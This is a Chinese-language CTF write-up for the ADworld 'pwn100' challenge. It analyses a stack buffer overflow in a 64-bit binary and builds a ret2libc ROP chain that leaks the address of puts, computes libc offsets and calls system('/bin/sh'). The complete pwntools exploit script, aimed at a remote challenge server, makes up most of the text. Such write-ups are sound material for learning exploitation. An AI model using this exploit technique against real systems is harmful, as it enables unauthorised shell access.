预备知识

本题涉及到的知识点:

  • 栈溢出漏洞(ret2libc)
  • ROP

程序分析

  1. 首先,使用checksec命令查看保护情况。

    64位程序,只开启了NX保护。可以猜测存在栈溢出,不过不能ret2shellcode。

    1
    2
    3
    4
    5
    6
    [*] '/root/Desktop/ADworld/pwn100/pwn100'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
  2. 运行程序,发现可以循环接收输入。

    pwn100

  3. 拖入IDA进行分析,发现main函数只执行一个40068E函数。

    pwn100_1

  4. 继续跟入。该函数有一个char类型变量v1,只执行40063D函数并传入两个参数。

    pwn100_2

  5. 继续跟入,可以发现,这个是关键的函数。

    a1为指向变量v1的指针,a2 = 200。

    for循环通过分析理解,其实就是使用read函数读入200个字符到v1。

    pwn100_3

利用思路

存在栈溢出漏洞,没有后门函数、system函数、binsh字符串。

观察plt表,存在puts函数。所以可以使用ret2libc的方法。

泄露puts的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = process('./pwn100')
elf = ELF('./pwn100')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400763
main = 0x000000000040068E # 泄露puts的真实地址后返回40068E函数进行二次利用。

# leak puts
payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload += 'A' * (200 - len(payload))
io.send(payload)

# 64位的libc中函数地址7f开头,长度为6字节。最高2字节是\x00。
# 接收方法:接收到\x7f,然后取后6位并在后面补2个字节的\x00。
# 最后使用u64,将小端序变为正常顺序。
puts_real = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print 'puts_real=', hex(puts_real)

计算libc地址

1
2
3
4
5
6
7
8
9
10
11
12
# libc

# 方法一:使用LibcSearcher
# libc = LibcSearcher('puts', puts_real)
# libc_base = puts_real - libc.dump('puts')
# system = libc_base + libc.dump('system')
# binsh = libc_base + libc.dump('str_bin_sh')

# 方法二:使用libc.rip在线查询偏移
libc_base = puts_real - 0x6f690
system = libc_base + 0x45390
binsh = libc_base + 0x18cd57

ret2libc

1
2
3
4
5
6
# ret2libc
payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(binsh) + p64(system)
payload += 'A' * (200 - len(payload))
io.send(payload)

io.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = process('./pwn100')
io = remote('111.200.241.244', 55764)
elf = ELF('./pwn100')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400763
main = 0x000000000040068E

# leak puts
payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload += 'A' * (200 - len(payload))
io.send(payload)

puts_real = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print 'puts_real=', hex(puts_real)

# libc
# libc = LibcSearcher('puts', puts_real)
# libc_base = puts_real - libc.dump('puts')
# system = libc_base + libc.dump('system')
# binsh = libc_base + libc.dump('str_bin_sh')
libc_base = puts_real - 0x6f690
system = libc_base + 0x45390
binsh = libc_base + 0x18cd57

# ret2libc
payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(binsh) + p64(system)
payload += 'A' * (200 - len(payload))
io.send(payload)

io.interactive()